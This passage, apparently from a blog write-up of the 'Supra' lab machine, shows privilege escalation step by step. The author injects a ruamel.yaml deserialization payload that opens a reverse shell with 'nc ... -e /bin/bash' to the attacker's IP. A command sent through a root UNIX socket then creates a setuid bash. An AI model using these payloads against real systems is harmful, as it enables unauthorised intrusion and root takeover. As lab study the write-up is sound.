<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">lsof -i :8081 </span><br><span class="line"><span class="comment"># 没有返回 ,应该没权限执行。 那我全盘搜下 包含 8081 内容的文件吧</span></span><br><span class="line">grep -r 8081 / 2&gt;/dev/null</span><br></pre></td></tr></table></figure>
<p>等不及，ll104567说用<code>ps -ef 直接看</code><br>其实刚才跑 linpeas.sh 的时候就看到了，有些进程需要注意：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">it404        344  0.0  0.1   6756  3056 ?        Ss   Apr18   0:00 /bin/bash /opt/api/start-internal.sh</span><br><span class="line">it404        362  0.0  1.3  42228 28368 ?        S    Apr18   0:09  _ python3 internal-api.py</span><br><span class="line">root         347  0.0  0.2 220740  4068 ?        Ssl  Apr18   0:00 /usr/sbin/rsyslogd -n -iNONE</span><br><span class="line">root         349  0.0  0.1   6756  3244 ?        Ss   Apr18   0:00 /bin/bash /root/.s/starts.sh</span><br><span class="line">root         364  0.0  0.4  16396  9756 ?        S    Apr18   0:00  _ python3 socket-root.py</span><br><span class="line">www-data     351  0.0  0.1   6836  3412 ?        Ss   Apr18   0:00 /bin/bash /var/www/api/start.sh</span><br></pre></td></tr></table></figure>
<p>一个一个看，</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cat</span> /opt/api/start-internal.sh</span><br><span class="line"><span class="comment">#!/bin/bash</span></span><br><span class="line">python3 internal-api.py</span><br><span class="line"></span><br><span class="line"><span class="built_in">cat</span> internal-api.py</span><br></pre></td></tr></table></figure>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> flask <span class="keyword">import</span> Flask, request</span><br><span class="line"><span class="comment">#import yaml</span></span><br><span class="line"><span class="keyword">import</span> ruamel.yaml</span><br><span class="line"><span class="keyword">import</span> warnings</span><br><span class="line"><span class="keyword">from</span> base64 <span class="keyword">import</span> b64decode</span><br><span class="line"></span><br><span class="line">warnings.simplefilter(<span class="string">&#x27;ignore&#x27;</span>, ruamel.yaml.error.UnsafeLoaderWarning)</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> yaml.loader <span class="keyword">import</span> FullLoader</span><br><span class="line">app = Flask(__name__)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&quot;/&quot;</span>, methods=[<span class="string">&quot;GET&quot;</span>]</span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">index</span>():</span><br><span class="line">    <span class="keyword">return</span> <span class="string">&quot;Supra Internals&quot;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&quot;/read-leaked-accounts&quot;</span>, methods=[<span class="string">&quot;GET&quot;</span>]</span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">read</span>():</span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">r&#x27;./accounts.yaml&#x27;</span>) <span class="keyword">as</span> file:</span><br><span class="line">        <span class="comment">#accounts = yaml.load(file, Loader=FullLoader)</span></span><br><span class="line">        accounts = ruamel.yaml.load(file)</span><br><span class="line">    <span class="keyword">return</span> accounts</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    app.run(<span class="string">&quot;127.0.0.1&quot;</span>, port=<span class="number">8081</span>)</span><br></pre></td></tr></table></figure>

<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">(remote) www-data@Supra:/opt/api$ curl http://127.0.0.1:8081/read-leaked-accounts</span><br><span class="line">&#123;<span class="string">&quot;emails&quot;</span>:[<span class="string">&quot;Gloriawrong@zonnetd.nl&quot;</span>,<span class="string">&quot;cheerfulMark93@atbt.net&quot;</span>,<span class="string">&quot;horribleMicheal30@aliceaedsl.fr&quot;</span>,<span class="string">&quot;Tamaradull@aiam.com&quot;</span>,<span class="string">&quot;Grantitchy@lieve.ca&quot;</span>,<span class="string">&quot;easyAngelica60@heatnet.nl&quot;</span>,<span class="string">&quot;Rebekaheasy@lieve.com&quot;</span>,<span class="string">&quot;zealousKatelyn@ggmail.com&quot;</span>,<span class="string">&quot;depressedBridget62@yahooi.com.ar&quot;</span>,<span class="string">&quot;fierceBrooke@optoniline.net&quot;</span>],<span class="string">&quot;passwords&quot;</span>:[<span class="string">&quot;6NpjqVCM&quot;</span>,<span class="string">&quot;mzPdgc9V&quot;</span>,<span class="string">&quot;fpRze8bn&quot;</span>,<span class="string">&quot;x4Lm3W6M&quot;</span>,<span class="string">&quot;tYUBN6Qx&quot;</span>,<span class="string">&quot;8zNBxXcd&quot;</span>,<span class="string">&quot;X48UYKrw&quot;</span>,<span class="string">&quot;xEfjB39C&quot;</span>,<span class="string">&quot;Wk956r4a&quot;</span>,<span class="string">&quot;UKQC5q2a&quot;</span>]&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<p>刚看见账号密码的时候，以为是要去爆破，不过看到里面的邮箱域名，突然感觉没有这么简单。read-leaked-accounts 的意思是一些泄露的账号和密码，虽然不知道是哪个系统的，但是目前还没有地方去爆破。至此为止，卡住了。</p>
<p>正当想去翻 WP 的时候，突然看见上面代码的一行：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">warnings.simplefilter(<span class="string">&#x27;ignore&#x27;</span>, ruamel.yaml.error.UnsafeLoaderWarning)</span><br></pre></td></tr></table></figure>
<p>看意思是有一个UnsafeLoaderWarning 被 ignore 了。 果断 Google 下 这个东西。</p>
<p>找到了一个 pdf：<br><a target="_blank" rel="noopener" href="https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf">https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf</a><br>大概第 11 页开始，讲了些关于 ruamel.yaml 的介绍。<br>大概 19 页开始，开始讲如何序列化和反序列化。<br>大概 34 页讲了原理和利用的脚本：<a target="_blank" rel="noopener" href="https://github.com/j0lt-github/python-deserialization-attack-payload-generator">https://github.com/j0lt-github/python-deserialization-attack-payload-generator</a></p>
<p>看了下权限：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">(remote) www-data@Supra:/opt/api$ <span class="built_in">ls</span> -al</span><br><span class="line">total 20</span><br><span class="line">drwxr-xr-x 2 root     root     4096 Oct 12  2021 .</span><br><span class="line">drwxr-xr-x 3 root     root     4096 Oct 11  2021 ..</span><br><span class="line">-rwxrwxrwx 1 www-data www-data  445 Oct 11  2021 accounts.yaml</span><br><span class="line">-rw-r--r-- 1 root     root      609 Oct 12  2021 internal-api.py</span><br><span class="line">-rwxr-xr-x 1 root     root       36 Oct 11  2021 start-internal.sh</span><br></pre></td></tr></table></figure>
<p>accounts.yaml 是可写的，看来应该是留给我们写入的。<br>先试试能不能利用：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">echo</span> <span class="string">&#x27;!!python/object/apply:time.sleep [10]&#x27;</span> &gt; accounts.yaml </span><br><span class="line"></span><br><span class="line">(remote) www-data@Supra:/opt/api$ curl http://127.0.0.1:8081/read-leaked-accounts</span><br><span class="line">&lt;!DOCTYPE HTML PUBLIC <span class="string">&quot;-//W3C//DTD HTML 3.2 Final//EN&quot;</span>&gt;</span><br><span class="line">&lt;title&gt;500 Internal Server Error&lt;/title&gt;</span><br><span class="line">&lt;h1&gt;Internal Server Error&lt;/h1&gt;</span><br><span class="line">&lt;p&gt;The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error <span class="keyword">in</span> the application.&lt;/p&gt;</span><br></pre></td></tr></table></figure>
<p>明显感到卡了 10s，说明这个是存在反序列化漏洞的。<br>利用脚本生成一个 payload：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">git <span class="built_in">clone</span> https://github.com/j0lt-github/python-deserialization-attack-payload-generator</span><br><span class="line"><span class="built_in">cd</span> python-deserialization-attack-payload-generator </span><br><span class="line">pip install -r requirements.txt </span><br><span class="line"></span><br><span class="line">┌──(kali㉿kali)-[~/tools/python-deserialization-attack-payload-generator]</span><br><span class="line">└─$ python peas.py                                                                                       </span><br><span class="line">Enter RCE <span class="built_in">command</span> :nc 192.168.0.30 1235 -e /bin/bash            </span><br><span class="line">Enter operating system of target [linux/windows] . Default is linux :</span><br><span class="line">Want to <span class="built_in">base64</span> encode payload ? [N/y] :</span><br><span class="line">Enter File location and name to save :acc</span><br><span class="line">Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :ruamel.yaml</span><br><span class="line">Done Saving file !!!!</span><br><span class="line">                             </span><br><span class="line">┌──(kali㉿kali)-[~/tools/python-deserialization-attack-payload-generator]</span><br><span class="line">└─$ <span class="built_in">cat</span> acc_yaml </span><br><span class="line">!!python/object/apply:subprocess.Popen</span><br><span class="line">- !!python/tuple</span><br><span class="line">  - nc</span><br><span class="line">  - 192.168.0.30</span><br><span class="line">  - <span class="string">&#x27;1235&#x27;</span></span><br><span class="line">  - -e</span><br><span class="line">  - /bin/bash</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<p>然后把这个 payload 写入 accounts.yaml 里：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cat</span> &lt;&lt;<span class="string">EOF &gt; accounts.yaml</span></span><br><span class="line"><span class="string">!!python/object/apply:subprocess.Popen</span></span><br><span class="line"><span class="string">- !!python/tuple</span></span><br><span class="line"><span class="string">  - nc</span></span><br><span class="line"><span class="string">  - 192.168.0.30</span></span><br><span class="line"><span class="string">  - &#x27;1235&#x27;</span></span><br><span class="line"><span class="string">  - -e</span></span><br><span class="line"><span class="string">  - /bin/bash</span></span><br><span class="line"><span class="string">EOF</span></span><br></pre></td></tr></table></figure>
<p>然后再次访问：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">curl http://127.0.0.1:8081/read-leaked-accounts</span><br></pre></td></tr></table></figure>
<p>可以看到已经连上了。</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">(remote) it404@Supra:/opt/api$ <span class="built_in">id</span></span><br><span class="line">uid=1000(it404) gid=1000(it404) <span class="built_in">groups</span>=1000(it404),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),112(bluetooth)</span><br></pre></td></tr></table></figure>
<p>拿到了第一个 flag。</p>
<h1 id="再次提权"><a href="#再次提权" class="headerlink" title="再次提权"></a>再次提权</h1><p>之前还有一个 root 的文件：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">root         349  0.0  0.1   6756  3244 ?        Ss   Apr18   0:00 /bin/bash /root/.s/starts.sh</span><br><span class="line">root         364  0.0  0.4  16396  9756 ?        S    Apr18   0:00  _ python3 socket-root.py</span><br></pre></td></tr></table></figure>
<p>猜测这个文件是在 &#x2F;root&#x2F;.s&#x2F; 下的，可是没有权限。</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">(remote) it404@Supra:/home/it404$ <span class="built_in">cd</span> /root/.s/</span><br><span class="line">bash: <span class="built_in">cd</span>: /root/.s/: Permission denied</span><br><span class="line">(remote) it404@Supra:/home/it404$ <span class="built_in">ls</span> -al /root/.s/</span><br><span class="line"><span class="built_in">ls</span>: cannot access <span class="string">&#x27;/root/.s/&#x27;</span>: Permission denied</span><br><span class="line">(remote) it404@Supra:/home/it404$ <span class="built_in">ls</span> /root/.s/</span><br><span class="line"><span class="built_in">ls</span>: cannot access <span class="string">&#x27;/root/.s/&#x27;</span>: Permission denied</span><br></pre></td></tr></table></figure>

<p>至此就卡住了。<br>最后翻了ll104567的 WP，才知道这玩意有一个现成的利用方案。<br><a target="_blank" rel="noopener" href="https://book.hacktricks.xyz/linux-hardening/privilege-escalation/socket-command-injection">https://book.hacktricks.xyz/linux-hardening/privilege-escalation/socket-command-injection</a><br>而如何猜到有这个漏洞呢？我是压根没感觉。<br>是在这里：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># file: /usr/local/src/socket.s</span></span><br><span class="line">USER   root      rwx     </span><br><span class="line">user   it404     rwx     </span><br><span class="line">GROUP  root      r-x     </span><br><span class="line">mask             rwx     </span><br><span class="line">other            r-x</span><br></pre></td></tr></table></figure>
<p>这个位置。<br>然后执行：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">echo</span> <span class="string">&quot;cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;&quot;</span> | socat - UNIX-CLIENT:/usr/local/src/socket.s</span><br><span class="line">/tmp/bash -p</span><br><span class="line"><span class="built_in">id</span></span><br><span class="line">uid=1000(it404) gid=1000(it404) euid=0(root) egid=0(root) <span class="built_in">groups</span>=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),112(bluetooth),1000(it404)</span><br></pre></td></tr></table></figure>
<p>就拿到 root 了。</p>

    </div>

    
    
    

      <footer class="post-footer">

        


        
    <div class="post-nav">
      <div class="post-nav-item">
    <a href="/2024/04/18/hmv-convert/" rel="prev" title="HMV convert 靶机复盘">
      <i class="fa fa-chevron-left"></i> HMV convert 靶机复盘
    </a></div>
      <div class="post-nav-item"></div>
    </div>
      </footer>
    
  </article>
  
  
  



          </div>
          

<script>
  window.addEventListener('tabs:register', () => {
    let { activeClass } = CONFIG.comments;
    if (CONFIG.comments.storage) {
      activeClass = localStorage.getItem('comments_active') || activeClass;
    }
    if (activeClass) {
      let activeTab = document.querySelector(`a[href="#comment-${activeClass}"]`);
      if (activeTab) {
        activeTab.click();
      }
    }
  });
  if (CONFIG.comments.storage) {
    window.addEventListener('tabs:click', event => {
      if (!event.target.matches('.tabs-comment .tab-content .tab-pane')) return;
      let commentClass = event.target.classList[1];
      localStorage.setItem('comments_active', commentClass);
    });
  }
</script>

        </div>
          
  
  <div class="toggle sidebar-toggle">
    <span class="toggle-line toggle-line-first"></span>
    <span class="toggle-line toggle-line-middle"></span>
    <span class="toggle-line toggle-line-last"></span>
  </div>

  <aside class="sidebar">
    <div class="sidebar-inner">

      <ul class="sidebar-nav motion-element">
        <li class="sidebar-nav-toc">
          文章目录
        </li>
        <li class="sidebar-nav-overview">
          站点概览
        </li>
      </ul>

      <!--noindex-->
      <div class="post-toc-wrap sidebar-panel">
          <div class="post-toc motion-element"><ol class="nav"><li class="nav-item nav-level-1"><a class="nav-link" href="#%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86"><span class="nav-number">1.</span> <span class="nav-text">信息收集</span></a><ol class="nav-child"><li class="nav-item nav-level-2"><a class="nav-link" href="#NAMP-%E6%89%AB%E6%8F%8F"><span class="nav-number">1.1.</span> <span class="nav-text">NAMP 扫描</span></a></li></ol></li><li class="nav-item nav-level-1"><a class="nav-link" href="#%E5%B0%9D%E8%AF%95"><span class="nav-number">2.</span> <span class="nav-text">尝试</span></a></li><li class="nav-item nav-level-1"><a class="nav-link" href="#%E6%8F%90%E6%9D%83"><span class="nav-number">3.</span> <span class="nav-text">提权</span></a></li><li class="nav-item nav-level-1"><a class="nav-link" href="#%E5%86%8D%E6%AC%A1%E6%8F%90%E6%9D%83"><span class="nav-number">4.</span> <span class="nav-text">再次提权</span></a></li></ol></div>
      </div>
      <!--/noindex-->

      <div class="site-overview-wrap sidebar-panel">
        <div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
    <img class="site-author-image" itemprop="image" alt="Todd"
      src="https://mp-b6a394ba-6e60-4cdf-941a-67c55476595e.cdn.bspapp.com/cloudstorage/43eb35ef-1aed-4d61-9ebb-a777fa49e70a.">
  <p class="site-author-name" itemprop="name">Todd</p>
  <div class="site-description" itemprop="description">把生命浪费在美好的实物上</div>
</div>
<div class="site-state-wrap motion-element">
  <nav class="site-state">
      <div class="site-state-item site-state-posts">
          <a href="/archives/">
        
          <span class="site-state-item-count">34</span>
          <span class="site-state-item-name">日志</span>
        </a>
      </div>
      <div class="site-state-item site-state-categories">
            <a href="/categories/">
          
        <span class="site-state-item-count">2</span>
        <span class="site-state-item-name">分类</span></a>
      </div>
      <div class="site-state-item site-state-tags">
            <a href="/tags/">
          
        <span class="site-state-item-count">7</span>
        <span class="site-state-item-name">标签</span></a>
      </div>
  </nav>
</div>
  <div class="links-of-author motion-element">
      <span class="links-of-author-item">
        <a href="https://github.com/ghostlitao" title="GitHub → https:&#x2F;&#x2F;github.com&#x2F;ghostlitao" rel="noopener" target="_blank"><i class="fab fa-github fa-fw"></i>GitHub</a>
      </span>
  </div>



      </div>

    </div>
  </aside>
  <div id="sidebar-dimmer"></div>


      </div>
    </main>

    <footer class="footer">
      <div class="footer-inner">
        

        

<div class="copyright">
  
  &copy; 2019 – 
  <span itemprop="copyrightYear">2024</span>
  <span class="with-love">
    <i class="fa fa-heart"></i>
  </span>
  <span class="author" itemprop="copyrightHolder">Todd</span>
</div>
  <div class="powered-by">由 <a href="https://hexo.io/" class="theme-link" rel="noopener" target="_blank">Hexo</a> & <a href="https://theme-next.org/" class="theme-link" rel="noopener" target="_blank">NexT.Gemini</a> 强力驱动
  </div>

        








      </div>
    </footer>
  </div>

  
  <script src="/lib/anime.min.js"></script>
  <script src="/lib/velocity/velocity.min.js"></script>
  <script src="/lib/velocity/velocity.ui.min.js"></script>

<script src="/js/utils.js"></script>

<script src="/js/motion.js"></script>


<script src="/js/schemes/pisces.js"></script>


<script src="/js/next-boot.js"></script>




  















  

  

</body>
</html>
